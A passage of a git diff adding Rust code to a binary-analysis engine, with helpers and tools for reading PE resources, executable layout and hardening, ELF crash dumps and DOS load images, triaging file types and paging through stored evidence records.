ToolError::invalid("raw binary without an architecture"))?; + let arch = Arch::from_name(&raw.architecture).ok_or_else(|| ToolError::invalid(format!("unknown architecture {}", raw.architecture)))?; + Ok(Image::raw(t.bytes.clone(), arch, raw.entry_point)) + } + other => Err(ToolError::unsupported(format!("{} is not native machine code.", other.plain())) + .with_remediation("Run triage to see which tools fit this kind of file.")), + } +} + +/// Use `document` (a target id) as the active target when given. +pub fn select_document(ctx: &mut Ctx<'_>, document: &Option) -> Result<(), ToolError> { + if let Some(d) = document { + let id = ctx.session.targets().find(|t| t.target.id == *d || t.target.name == *d).map(|t| t.target.id.clone()); + match id { + Some(id) => ctx.session.set_active(&id)?, + None => { + return Err(ToolError::new(ErrorCode::NotFound, format!("No open document {d}")).with_remediation("List them with native_open_documents_list.")); + } + } + } + Ok(()) +} + +/// The parsed image of the active target (cached). +pub fn image(ctx: &mut Ctx<'_>) -> Result, ToolError> { + let t = ctx.session.active_mut()?; + if let Some(s) = t.ext.get::() { + return Ok(Arc::new(NativeImage(s.img.clone()))); + } + if let Some(i) = t.ext.get::() { + return Ok(i); + } + let img = Arc::new(NativeImage(Arc::new(image_for(&t.target)?))); + t.ext.insert(img.clone()); + Ok(img) +} + +/// The full analysis of the active target, running it the first time (cancellable, with +/// progress). +pub fn native(ctx: &mut Ctx<'_>) -> Result, ToolError> { + if let Some(s) = ctx.session.active()?.ext.get::() { + return Ok(s); + } + let img = image(ctx)?.0.clone(); + let control = CtxControl { cancel: ctx.cancel.clone(), progress: ctx.progress }; + ctx.report(Some(0.0), "analysing the program (first time only)"); + let prog = Program::analyze(&img, &Limits::default(), &control).map_err(disasm_err)?; + let state = Arc::new(NativeState { img, prog }); + ctx.session.active_mut()?.ext.insert(state.clone()); + Ok(state) +} + +/// User names first, then the engine's. +pub fn name_of(t: &OpenTarget, prog: &Program, a: u64) -> Option { + t.annotations.names.get(&a).cloned().or_else(|| prog.name_at(a)) +} + +/// A function by name (user or engine), entry address, or any address inside it. +pub fn resolve_function<'a>(t: &OpenTarget, prog: &'a Program, s: &str) -> Result<&'a Function, ToolError> { + let s = s.trim(); + if s.is_empty() { + return Err(ToolError::invalid("function is empty")); + } + if let Some((a, _)) = t.annotations.names.iter().find(|(_, n)| n.as_str() == s) + && let Some(f) = prog.functions.get(a) + { + return Ok(f); + } + if let Some(f) = prog.function_by_name(s) { + return Ok(f); + } + if let Ok(a) = super::parse_address(s) + && let Some(f) = prog.functions.get(&a).or_else(|| prog.function_containing(a)) + { + return Ok(f); + } + Err(ToolError::invalid(format!("No function named or at {s}")) + .with_remediation("Find it with native_functions_search or native_functions_list; pass a name or a 0x address.") + .with_details(serde_json::json!({"reason": "function_not_found", "function": s}))) +} + +/// The address param, or the cursor when omitted. +pub fn address_or_cursor(session: &Session, a: &Option) -> Result { + match a { + Some(a) => super::parse_address(a), + None => session.active()?.cursor.address.ok_or_else(|| { + ToolError::invalid("No address given and the cursor isn't set.").with_remediation("Pass address, or move the cursor with native_cursor_goto.") + }), + } +} + +/// A page of a list, with honest coverage. +pub fn page(items: &[T], offset: usize, limit: usize) -> (Vec, Coverage) { + let limit = limit.clamp(1, MAX_LIMIT); + let total = items.len(); + let slice: Vec = items.iter().skip(offset).take(limit).map(|x| serde_json::to_value(x).unwrap_or(Value::Null)).collect(); + let cov = Coverage::page(slice.len() as u64, total as u64, offset as u64); + (slice, cov) +} + +/// Start an evidence record about the active target. +pub fn ev(ctx: &Ctx<'_>, op: &str, params: Value) -> Result { + Ok(super::evidence_for_active(ctx.session, op)?.params(params)) +} + +/// Build evidence from an analysis report (without wrapping it), for the summary-first helper. +pub fn report_evidence(ctx: &Ctx<'_>, op: &str, params: Value, r: Report) -> Result { + report_evidence_with(ctx, op, params, r, Coverage::complete(1)) +} + +/// [`report_evidence`] with an explicit coverage. +pub fn report_evidence_with(ctx: &Ctx<'_>, op: &str, params: Value, r: Report, cov: Coverage) -> Result { + ev(ctx, op, params)?.result(r.result).summary(r.summary).confidence(r.confidence).limitations(r.limitations).locations(r.locations).coverage(cov).build() +} + +/// `cov`, downgraded to partial when function discovery hit a cap (the list it pages is incomplete). +pub fn program_coverage(prog: &craft_anything_disasm::Program, mut cov: Coverage) -> Coverage { + if prog.discovery_capped() { + cov.status = craft_anything_evidence::CoverageStatus::Partial; + } + cov +} + +/// Turn an analysis report into evidence. +pub fn from_report(ctx: &Ctx<'_>, op: &str, params: Value, r: Report) -> Result { + Ok(ToolOutput::evidence(report_evidence(ctx, op, params, r)?)) +} + +/// Lengths of the top-level array facets in a result, as `{"counts": {...}}`, for summary bodies. +pub fn counts_of(result: &Value) -> Value { + let mut counts = serde_json::Map::new(); + if let Value::Object(m) = result { + for (k, v) in m { + if let Value::Array(a) = v { + counts.insert(k.clone(), Value::from(a.len())); + } + } + } + serde_json::json!({"counts": Value::Object(counts)}) +} + +/// Params as JSON for the evidence record (minus `document`, a selector, and `detail`, a +/// presentation choice — so the same analysis has one id whether summary or complete was asked). +pub fn params_json(p: &T) -> Value { + let mut v = serde_json::to_value(p).unwrap_or(Value::Null); + if let Value::Object(m) = &mut v { + m.remove("document"); + m.remove("detail"); + } + v +} + +pub fn hex(a: u64) -> String { + format!("{a:#x}") +} + +/// Names map for analysis closures. +pub fn user_names(t: &OpenTarget) -> BTreeMap { + t.annotations.names.clone() +} + +/// Shorthand for a native tool spec. +#[allow(clippy::too_many_arguments)] +pub fn spec( + id: &'static str, + title: &'static str, + summary: &'static str, + beginner: &'static str, + toolset: crate::tool::Toolset, + effects: crate::tool::Effects, + requires: crate::tool::Requires, + input_schema: fn() -> Value, + run: crate::tool::ToolFn, +) -> crate::tool::ToolSpec { + crate::tool::ToolSpec { id, title, summary, beginner, toolset, effects, requires, input_schema, run } +} + +#[cfg(test)] +pub mod test_support { + use crate::{CallOptions, Caller, Engine, ToolOutput}; + use serde_json::{Value, json}; + + /// An engine with `bytes` opened as the active target. + pub fn engine_with(name: &str, bytes: &[u8]) -> Engine { + let e = Engine::new(crate::testing::session()); + let p = craft_anything_testkit::temp_file(name, bytes); + e.call("core_target_open", json!({"path": p.to_string_lossy()}), CallOptions::new(Caller::Cli)).unwrap(); + e + } + + pub fn call(e: &Engine, id: &str, params: Value) -> Value { + match e.call(id, params, CallOptions::new(Caller::Mcp)) { + Ok(ToolOutput::Evidence(ev)) => { + assert!(ev.verify()); + serde_json::to_value(&*ev).unwrap() + } + Ok(ToolOutput::Value(v)) => json!({"result": v}), + Err(err) => panic!("{id} failed: {err:?}"), + } + } + + pub fn call_err(e: &Engine, id: &str, params: Value) -> craft_anything_evidence::ToolError { + match e.call(id, params, CallOptions::new(Caller::Mcp)) { + Ok(v) => panic!("{id} should fail, got {v:?}"), + Err(err) => err, + } + } +} diff --git a/desktop/crates/engine/src/tools/native_formats.rs b/desktop/crates/engine/src/tools/native_formats.rs new file mode 100644 index 0000000..85b3df3 --- /dev/null +++ b/desktop/crates/engine/src/tools/native_formats.rs @@ -0,0 +1,1002 @@ +//! Format-level diagnostics with built-in parsers (no external tools): PE resources, binary +//! layout (ELF/PE/Mach-O), recorded crashes (ELF core files), DOS load images; plus `triage` +//! (what is this and where do I start) and `core_evidence_browse` (paging over stored evidence). + +use super::native_common::{hex, image, select_document, spec}; +use crate::target::{Target, TargetKind}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::native as an; +use craft_anything_evidence::{Confidence, Coverage, Environment, ErrorCode, Evidence, EvidenceBuilder, Limitation, Location, Subject, ToolError, sha256_hex}; +use craft_anything_formats::Format; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet}; +use std::path::PathBuf; +use std::sync::Arc; + +pub fn specs() -> Vec { + use Toolset::{Core, Formats, Native}; + let e = Effects::EVIDENCE; + vec![ + spec( + "native_pe_resources_list", + "Windows resources", + "PE32/PE32+ resource tree (type → name → language) with SHA-256 of each item, icon groups, version information and the manifest. Built-in parser. Uses the active target unless path is given.", + "See a Windows program's icons, version details and other resources.", + Formats, + e, + Requires::Nothing, + schema_of::, + native_pe_resources_list, + ), + spec( + "native_layout_show", + "Binary layout", + "Sections, segments (ELF program headers), symbols, relocations, linkage and hardening (NX, PIE, RELRO, canary, fortify, CFG…) of an ELF, PE or Mach-O file. detail=summary returns counts and keeps the complete record in the session.", + "See how a program file is built and how well it is hardened.", + Formats, + e, + Requires::Nothing, + schema_of::, + native_layout_show, + ), + spec( + "native_crash_show", + "Crash dump", + "Read a Linux ELF core dump: the signal and its meaning, the faulting address, registers of each thread, the process name and arguments, mapped files, and which file the crash happened in.", + "Find out why and where a program crashed.", + Formats, + e, + Requires::Nothing, + schema_of::, + native_crash_show, + ), + spec( + "native_dos_image_show", + "DOS load image", + "Check a DOS MZ or .COM program's load image: header, SHA-256 digests (file, header, load module), relocations, entry point and stack, with any inconsistencies.", + "Check how a DOS program is loaded into memory.", + Native, + e, + Requires::Target, + schema_of::, + native_dos_image_show, + ), + spec( + "core_target_triage", + "What is this?", + "Say what a file is in plain English (format, OS, architecture, language/toolchain hints such as Go, Rust, .NET, Electron, Flutter, Delphi, packers) and which toolsets and tools to use next. Uses the active target unless path is given.", + "Find out what a file is and where to start.", + Core, + e, + Requires::Nothing, + schema_of::, + core_target_triage, + ), + spec( + "core_evidence_browse", + "Page through evidence", + "View part of a stored (or inline) evidence record: the summary, one part, one row of a list, a page of a list's rows (optionally only the rows matching given field values, cut to chosen fields, with the field names listed), or a part of a function dossier (pseudocode, assembly, basic_blocks, callers, callees, flow_*…), with coverage and next_offset. Nothing is analysed again.", + "Read a big result a page at a time.", + Core, + e, + Requires::Nothing, + schema_of::, + core_evidence_browse, + ), + ] +} + +fn d_max_file() -> u64 { + 64 << 20 +} +fn d_entries() -> usize { + 16_384 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PeResourcesParams { + /// Absolute path of a PE file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Refuse files bigger than this (64 MiB..512 MiB, default 64 MiB). + #[serde(default = "d_max_file")] + pub max_file_bytes: u64, + /// Most resource entries (1..=65536, default 16384). + #[serde(default = "d_entries")] + pub max_entries: usize, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum Detail { + #[default] + Complete, + Summary, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct LayoutParams { + /// Absolute path of an ELF, PE or Mach-O file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// complete (default) or summary. + #[serde(default)] + pub detail: Detail, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CrashParams { + /// Absolute path of an ELF core file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Ask for live debugger context (not available in clean-room mode; reported as a limitation). + #[serde(default)] + pub with_debugger_context: bool, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DocParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct TriageParams { + /// Absolute path of a file or folder; the active target when omitted. + #[serde(default)] + pub path: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(tag = "kind", rename_all = "kebab-case", deny_unknown_fields)] +pub enum RecordSource { + /// Evidence already recorded in this session or project. + Saved { evidence_id: String }, + /// A full evidence record passed inline. + Inline { evidence: Value }, +} + +fn d_show_limit() -> usize { + 64 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(tag = "kind", rename_all = "kebab-case", deny_unknown_fields)] +pub enum Show { + /// The record without its result. + Summary, + /// One named part of the result (e.g. mitigations, linkage). + Part { name: String }, + /// One row of a list: by index, or the first whose name/address equals `pick`. + Row { list: String, pick: String }, + /// A page of a list (sections, symbols, functions…). + Rows { + list: String, + /// Counts matching rows when `matching` is given. + #[serde(default)] + offset: usize, + #[serde(default = "d_show_limit")] + limit: usize, + /// Keep only the rows whose fields equal these values, e.g. `{"kind": "require", "path": + /// ["main.js", "preload.js"]}`: every field must match, a list means any of its values, + /// `a.b` reaches inside a row and null matches a field the row doesn't have. + #[serde(default)] + matching: BTreeMap, + /// Return only these fields of each row (`a.b` reaches inside); a row without one leaves it out. + #[serde(default)] + fields: Vec, + /// Also list the field names of the matching rows, to see what to match or pick. + #[serde(default)] + field_names: bool, + }, + /// A part of a native function dossier (pseudocode, assembly, basic_blocks, callers, callees, + /// incoming_references, outgoing_references, unresolved_calls, referenced_strings, + /// referenced_names, native_api, flow_summary, flow_nodes, + /// flow_edges, flow_effects, flow_parameters, flow_parameter_uses, + /// comments, function). Text facets page by UTF-16 units. + FunctionPart { + name: String, + #[serde(default)] + offset: usize, + #[serde(default = "d_show_limit")] + limit: usize, + }, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ShowParams { + /// Where the evidence comes from. + pub source: RecordSource, + /// What part of it to show. + pub show: Show, +} + +/// Bytes, a subject and a display name: from `path`, or the active target. +fn input(ctx: &Ctx<'_>, path: &Option, max: u64) -> Result<(Arc<[u8]>, Subject), ToolError> { + match path { + Some(p) => { + let pb = PathBuf::from(p); + if !pb.is_absolute() { + return Err(ToolError::invalid(format!("{p} is not an absolute path"))); + } + let meta = std::fs::metadata(&pb).map_err(|e| ToolError::io(p, e))?; + if meta.is_dir() { + return Err(ToolError::invalid(format!("{p} is a folder; pass a file"))); + } + if meta.len() > max { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{p} is {} bytes; the limit is {max}", meta.len())) + .with_remediation("Raise max_file_bytes (up to 512 MiB) if you really need it.")); + } + let bytes = std::fs::read(&pb).map_err(|e| ToolError::io(p, e))?; + let name = pb.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_else(|| p.clone()); + let t = Target::from_bytes(pb, name, bytes); + Ok((t.bytes.clone(), t.subject())) + } + None => { + let t = ctx.session.active()?; + if t.target.bytes.len() as u64 > max { + return Err(ToolError::new(ErrorCode::OverLimit, format!("the target is {} bytes; the limit is {max}", t.target.bytes.len()))); + } + Ok((t.target.bytes.clone(), t.target.subject())) + } + } +} + +fn builder(ctx: &Ctx<'_>, op: &str, subject: Subject, params: Value) -> EvidenceBuilder { + EvidenceBuilder::new(op, subject, Environment::builtin(ctx.session.clean_room())).params(params) +} + +fn native_pe_resources_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PeResourcesParams = parse_params(params.clone())?; + if !(64 << 20..=512 << 20).contains(&p.max_file_bytes) { + return Err(ToolError::invalid("max_file_bytes must be 64 MiB..=512 MiB")); + } + if !(1..=65_536).contains(&p.max_entries) { + return Err(ToolError::invalid("max_entries must be 1..=65536")); + } + let (data, subject) = input(ctx, &p.path, p.max_file_bytes)?; + let res = craft_anything_formats::pe::parse_resources(&data, p.max_entries).map_err(|e| ToolError::unsupported(format!("Not a readable PE file: {e}")))?; + let entries: Vec = res + .entries + .iter() + .map(|e| { + let sha = e.file_offset.and_then(|o| usize::try_from(o).ok()).and_then(|o| data.get(o..o.saturating_add(e.size as usize))).map(sha256_hex); + json!({"type": e.type_name, "name": e.name, "language": e.language, "rva": hex(e.rva), "size": e.size, "file_offset": e.file_offset, "codepage": e.codepage, "sha256": sha}) + }) + .collect(); + let n = entries.len(); + let summary = format!( + "{n} resources{}{}.", + if res.icon_groups.is_empty() { String::new() } else { format!(", {} icon groups", res.icon_groups.len()) }, + res.version.as_ref().and_then(|v| v.strings.get("ProductName").cloned()).map(|p| format!(", product \"{p}\"")).unwrap_or_default() + ); + let mut b = builder(ctx, "native_pe_resources_list", subject, json!({"path": p.path, "max_entries": p.max_entries})) + .result(json!({"entries": entries, "icon_groups": res.icon_groups, "version": res.version, "manifest": res.manifest, "truncated": res.truncated})) + .summary(summary) + .coverage(if res.truncated { + Coverage { status: craft_anything_evidence::CoverageStatus::Partial, examined: Some(n as u64), total: None, next_offset: None } + } else { + Coverage::complete(n as u64) + }); + if res.truncated { + b = b.limitation(Limitation::new("truncated", format!("stopped at max_entries={}", p.max_entries))); + } + b = b.limitations(res.warnings.iter().map(|w| Limitation::new("resource_parse", w.clone()))); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn native_layout_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: LayoutParams = parse_params(params)?; + let (data, subject) = input(ctx, &p.path, 2 << 30)?; + let bin = craft_anything_formats::parse_binary(&data).map_err(|e| ToolError::unsupported(format!("Not a readable ELF, PE or Mach-O file: {e}")))?; + const CAP: usize = 20_000; + let syms: Vec = bin.symbols.iter().take(CAP).map(|s| json!({"name": s.name, "demangled": s.demangled, "address": hex(s.addr), "size": s.size, "kind": s.kind, "global": s.global, "weak": s.weak, "defined": s.defined, "dynamic": s.dynamic})).collect(); + let relocs: Vec = + bin.relocations.iter().take(CAP).map(|r| json!({"address": hex(r.addr), "kind": r.kind, "symbol": r.symbol, "addend": r.addend})).collect(); + let linkage = json!({"interpreter": bin.info.get("interpreter"), "libraries": bin.libraries, "soname": bin.info.get("soname"), "rpath": bin.info.get("rpath"), "runpath": bin.info.get("runpath"), "imports": bin.imports.len(), "exports": bin.exports.len()}); + let full = json!({ + "format": bin.format, + "kind": bin.kind, + "architecture": bin.arch.name(), + "bits": bin.bits, + "entry_point": bin.entry.map(hex), + "image_base": hex(bin.image_base), + "sections": bin.sections, + "segments": bin.segments, + "details": bin.details, + "symbols": syms, + "relocations": relocs, + "relocation_count": bin.relocation_count, + "imports": bin.imports, + "exports": bin.exports, + "mitigations": bin.mitigations, + "linkage": linkage, + "info": bin.info, + "warnings": bin.warnings, + }); + let m = &bin.mitigations; + let summary = format!( + "{} {} ({}): {} sections, {} symbols, {} relocations; NX {}, PIE {}, RELRO {}, canary {}.", + bin.format.plain(), + bin.kind, + bin.arch.name(), + bin.sections.len(), + bin.symbols.len(), + bin.relocation_count, + yn(m.nx), + yn(m.pie), + m.relro.as_deref().unwrap_or("n/a"), + yn(m.canary) + ); + let mut lims = Vec::new(); + if bin.symbols.len() > CAP || bin.symbols_truncated { + lims.push(Limitation::new("symbols_capped", format!("the record keeps the first {CAP} symbols"))); + } + if bin.relocations.len() > CAP || bin.relocation_count > bin.relocations.len() { + lims.push(Limitation::new("relocations_capped", "only part of the relocation list is kept")); + } + if bin.format == Format::Pe { + lims.push(Limitation::new("pe_base_relocations", "PE base relocations are counted by the loader, not listed")); + } + let ev = builder(ctx, "native_layout_show", subject, json!({"path": p.path, "detail": "complete"})) + .result(full) + .summary(summary.clone()) + .limitations(lims) + .coverage(Coverage::complete(1)) + .location(Location::new("file_offset", "0x0")) + .build()?; + if p.detail == Detail::Summary { + let id = ev.id.clone(); + let counts = json!({"sections": bin.sections.len(), "segments": bin.segments.len(), "symbols": bin.symbols.len(), "relocations": bin.relocation_count, "imports": bin.imports.len(), "exports": bin.exports.len()}); + let view = ev.summary_view(); + ctx.session.record(ev)?; + return Ok(ToolOutput::Value( + json!({"saved_evidence": {"kind": "saved", "evidence_id": id}, "summary": summary, "counts": counts, "mitigations": bin.mitigations, "record": view, "continue_with": "core_evidence_browse"}), + )); + } + Ok(ToolOutput::evidence(ev)) +} + +fn yn(b: Option) -> &'static str { + match b { + Some(true) => "yes", + Some(false) => "no", + None => "n/a", + } +} + +fn native_crash_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CrashParams = parse_params(params)?; + let (data, subject) = input(ctx, &p.path, 2 << 30)?; + let core = craft_anything_formats::elf::parse_core(&data).map_err(|e| { + ToolError::unsupported(format!("Not a readable ELF core dump: {e}")) + .with_remediation("Pass a Linux core file (from a crash, `gcore`, or systemd-coredump after extraction).") + })?; + let pc = core.pc(); + let location = pc.and_then(|pc| core.locate(pc)).map(|(m, off)| json!({"file": m.path, "file_offset": hex(off), "mapping_start": hex(m.start)})); + let fault = core.signal.as_ref().and_then(|s| s.fault_addr); + let fault_location = fault.and_then(|a| core.locate(a)).map(|(m, off)| json!({"file": m.path, "file_offset": hex(off)})); + let sig = core.signal.as_ref().map(|s| format!("{} ({})", s.name, s.meaning)).unwrap_or_else(|| "an unknown signal".into()); + let who = core.process.as_ref().map(|p| p.name.clone()).unwrap_or_else(|| "The process".into()); + let summary = format!( + "{who} stopped with {sig}{}{}.", + pc.map(|pc| format!(" at {pc:#x}")).unwrap_or_default(), + location.as_ref().and_then(|l| l["file"].as_str().map(|f| format!(" in {f}"))).unwrap_or_default() + ); + let mut lims: Vec = core.warnings.iter().map(|w| Limitation::new("core_parse", w.clone())).collect(); + if p.with_debugger_context { + lims.push(Limitation::new( + "debugger_context_unavailable", + "no debugger runs in clean-room mode; backtraces need the matching binaries and symbols, which aren't loaded here", + )); + } + lims.push(Limitation::new("no_backtrace", "only the crashing registers are read; the call stack is not unwound")); + let mut b = builder(ctx, "native_crash_show", subject, json!({"path": p.path, "with_debugger_context": p.with_debugger_context})) + .result(json!({ + "plain_english": summary, + "process": core.process, + "signal": core.signal, + "program_counter": pc.map(hex), + "crash_location": location, + "fault_location": fault_location, + "threads": core.threads, + "mapped_files": core.mapped_files, + "auxv": core.auxv, + "notes": core.notes, + "memory_segments": core.memory_segments.len(), + "architecture": core.arch.name(), + })) + .summary(summary) + .authority(craft_anything_evidence::Authority::EarlierRecord) + .limitations(lims) + .coverage(Coverage::complete(core.notes.len() as u64)); + if let Some(pc) = pc { + b = b.location(Location::address(pc).with_label("program counter")); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +fn native_dos_image_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DocParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let t = ctx.session.active()?; + let data = t.target.bytes.clone(); + let is_com = t.target.kind == TargetKind::DosCom; + let file_sha = t.target.sha256.clone(); + let (result, summary, ok) = if is_com { + let size = data.len(); + let ok = size <= 0xff00; + let problems: Vec = if ok { vec![] } else { vec![format!("{size} bytes is too big for a .COM program (max 65280)")] }; + ( + json!({"format": "dos-com", "file_sha256": file_sha, "load_module_sha256": sha256_hex(&data), "load_segment_offset": "0x100", "entry": "0x100", "size": size, "relocations": [], "problems": problems, "consistent": ok}), + format!(".COM program of {size} bytes, loaded at offset 0x100 and started there."), + ok, + ) + } else if data.starts_with(b"MZ") || data.starts_with(b"ZM") { + let mz = craft_anything_formats::dos::parse_mz(&data).map_err(|e| ToolError::unsupported(format!("Not a readable DOS MZ header: {e}")))?; + let hdr = data.get(..(mz.header_bytes as usize).min(data.len())).unwrap_or(&[]); + let start = mz.load_module_offset as usize; + let module = data.get(start.min(data.len())..start.saturating_add(mz.load_module_size as usize).min(data.len())).unwrap_or(&[]); + let ok = mz.problems.is_empty(); + ( + json!({ + "format": "dos-mz", + "file_sha256": file_sha, + "header_sha256": sha256_hex(hdr), + "load_module_sha256": sha256_hex(module), + "header": mz, + "entry": format!("{:04x}:{:04x}", mz.entry_cs, mz.entry_ip), + "entry_linear": hex(u64::from(mz.entry_linear)), + "stack": format!("{:04x}:{:04x}", mz.stack_ss, mz.stack_sp), + "consistent": ok, + }), + format!( + "DOS MZ program: {}-byte load module, {} relocations, entry {:04x}:{:04x}{}.", + mz.load_module_size, + mz.relocations.len(), + mz.entry_cs, + mz.entry_ip, + if ok { "" } else { "; the header has problems" } + ), + ok, + ) + } else { + return Err(ToolError::unsupported("This isn't a DOS MZ or .COM program.") + .with_remediation("Open a DOS program (for .COM files use core_target_open with format=dos-com).")); + }; + let _ = image(ctx); + let mut b = super::native_common::ev(ctx, "native_dos_image_show", json!({}))?.result(result).summary(summary).coverage(Coverage::complete(1)); + if !ok { + b = b.limitation(Limitation::new("inconsistent_image", "the header disagrees with the file; see problems")); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +fn non_native_triage(t: &Target) -> (String, Vec<&'static str>, Vec<(&'static str, &'static str)>) { + let n = &t.name; + match t.kind { + TargetKind::Apk => ( + format!("{n} is an Android app package."), + vec!["core", "android"], + vec![("android_package_show", "manifest, permissions, components and code"), ("android_classes_find", "find classes by name")], + ), + TargetKind::Dex => ( + format!("{n} is Android app code (DEX)."), + vec!["core", "android"], + vec![("android_classes_find", "find classes"), ("android_class_show", "read a class")], + ), + TargetKind::Asar => ( + format!("{n} is the packed web app inside an Electron desktop app."), + vec!["core", "javascript"], + vec![("js_app_map", "map the app's JavaScript, IPC and routes")], + ), + TargetKind::Wasm => { + (format!("{n} is a WebAssembly module."), vec!["core", "formats"], vec![("formats_wasm_module_show", "exports, imports and sections")]) + } + TargetKind::Jar => (format!("{n} is a Java archive."), vec!["core", "artifacts"], vec![("core_archive_show", "list what's inside")]), + TargetKind::JavaClass => ( + format!("{n} is a compiled Java class."), + vec!["core", "java"], + vec![("java_class_show", "fields, methods and code of the class"), ("java_classes_find", "find classes by name")], + ), + TargetKind::Zip => (format!("{n} is a ZIP archive."), vec!["core"], vec![("core_archive_show", "list what's inside")]), + TargetKind::Directory => ( + format!("{n} is a folder (an app bundle, an unpacked app or a project)."), + vec!["core"], + vec![("core_archive_show", "inventory the folder"), ("core_target_triage", "triage the main executable inside it by path")], + ), + TargetKind::Script => { + (format!("{n} is a script or web page."), vec!["core", "javascript"], vec![("js_app_map", "parse the code, modules and endpoints")]) + } + TargetKind::NetworkCapture => { + (format!("{n} is a recording of network traffic."), vec!["core", "browser"], vec![("web_recording_show", "list requests and APIs")]) + } + TargetKind::Plist => (format!("{n} is an Apple settings file (property list)."), vec!["core", "apple"], vec![("apple_plist_show", "read it as JSON")]), + TargetKind::Evm => (format!("{n} is smart-contract bytecode."), vec!["core", "formats"], vec![("formats_evm_interface_show", "function selectors")]), + TargetKind::Sqlite => { + (format!("{n} is a SQLite database (how an app stores its data)."), vec!["core", "database"], vec![("db_sqlite_show", "tables, schema and rows")]) + } + _ => ( + format!("{n} isn't a format we recognise yet."), + vec!["core"], + vec![("native_bytes_show", "look at the raw bytes"), ("core_target_open", "reopen with format=raw-binary if it is machine code")], + ), + } +} + +fn core_target_triage(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: TriageParams = parse_params(params)?; + let t: Target = match &p.path { + Some(path) => { + let pb = PathBuf::from(path); + if !pb.is_absolute() { + return Err(ToolError::invalid(format!("{path} is not an absolute path"))); + } + Target::load(&pb)? + } + None => ctx.session.active()?.target.clone(), + }; + let native_kind = matches!( + t.kind, + TargetKind::Elf | TargetKind::Pe | TargetKind::MachO | TargetKind::MachOFat | TargetKind::Managed | TargetKind::DosCom | TargetKind::RawBinary + ); + let parsed = if native_kind || t.kind == TargetKind::Unknown { super::native_common::image_for(&t).map(Some) } else { Ok(None) }; + let builder = EvidenceBuilder::new("core_target_triage", t.subject(), Environment::builtin(ctx.session.clean_room())).params(json!({"path": p.path})); + let ev = match parsed { + Ok(Some(img)) => { + let mut r = an::triage(&img.bin, &img.data, &t.name); + if t.kind == TargetKind::Managed { + r.result["plain_english"] = json!(format!("{} This is a .NET assembly: use the .NET tools for readable C#-level results.", r.summary)); + r.summary = r.result["plain_english"].as_str().unwrap_or_default().to_string(); + } + builder.result(r.result).summary(r.summary).confidence(r.confidence).limitations(r.limitations).locations(r.locations).build()? + } + fallback => { + let (mut plain, mut toolsets, mut tools) = non_native_triage(&t); + let mut builder = builder; + if let Err(error) = fallback + && native_kind + { + let kind = t.kind.plain(); + plain = format!( + "{} starts like {}{}, but we couldn't read it as one. Check that the file is complete and undamaged.", + t.name, + kind.get(..1).unwrap_or_default().to_lowercase(), + kind.get(1..).unwrap_or_default() + ); + tools = vec![("native_bytes_show", "inspect the unreadable file's raw bytes")]; + builder = builder.limitation(Limitation::new("native_parse_failed", error.message)); + } + // A game's folder: what it's made with, its libraries and its size. + let game = (t.kind == TargetKind::Directory).then(|| craft_anything_engines::game::profile(&t.path)); + let game = game.and_then(|g| g.summary(&t.name).map(|s| (g, s))); + if let Some((_, summary)) = &game { + plain.clone_from(summary); + toolsets = vec!["core", "formats"]; + tools = vec![("game_archives_list", "find the archives it packs its files in"), ("game_pak_list", "list what's in an Unreal pak")]; + } + let mut result = json!({ + "plain_english": plain, + "kind": t.kind, + "description": t.kind.plain(), + "size": t.bytes.len(), + "recommended_toolsets": toolsets, + "next_steps": tools.iter().map(|(tool, why)| json!({"tool": tool, "why": why})).collect::>(), + }); + if let Some((g, _)) = game { + result["game"] = json!(g); + } + builder + .result(result) + .summary(plain) + .confidence(Confidence::Inferred) + .limitation(Limitation::new("detected_by_content", "the kind is detected from the first bytes and, to break ties, the file name")) + .build()? + } + }; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// Analysis view + +/// Find a value by key anywhere in the first levels of `v`. +fn find_key<'a>(v: &'a Value, key: &str, depth: usize) -> Option<&'a Value> { + if depth > 4 { + return None; + } + match v { + Value::Object(m) => m.get(key).or_else(|| m.values().find_map(|x| find_key(x, key, depth + 1))), + _ => None, + } +} + +/// Page text by UTF-16 code units without splitting a surrogate pair. +fn page_text(s: &str, offset: usize, limit: usize) -> (String, usize, Option) { + let total: usize = s.encode_utf16().count(); + let mut out = String::new(); + let mut pos = 0usize; + let mut taken = 0usize; + let mut next = None; + for c in s.chars() { + let w = c.len_utf16(); + if pos >= offset { + if taken + w > limit { + next = Some(pos); + break; + } + out.push(c); + taken += w; + } else if pos + w > offset { + // offset lands inside a surrogate pair: start at the next character + } + pos += w; + } + (out, total, next) +} + +fn core_evidence_browse(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ShowParams = 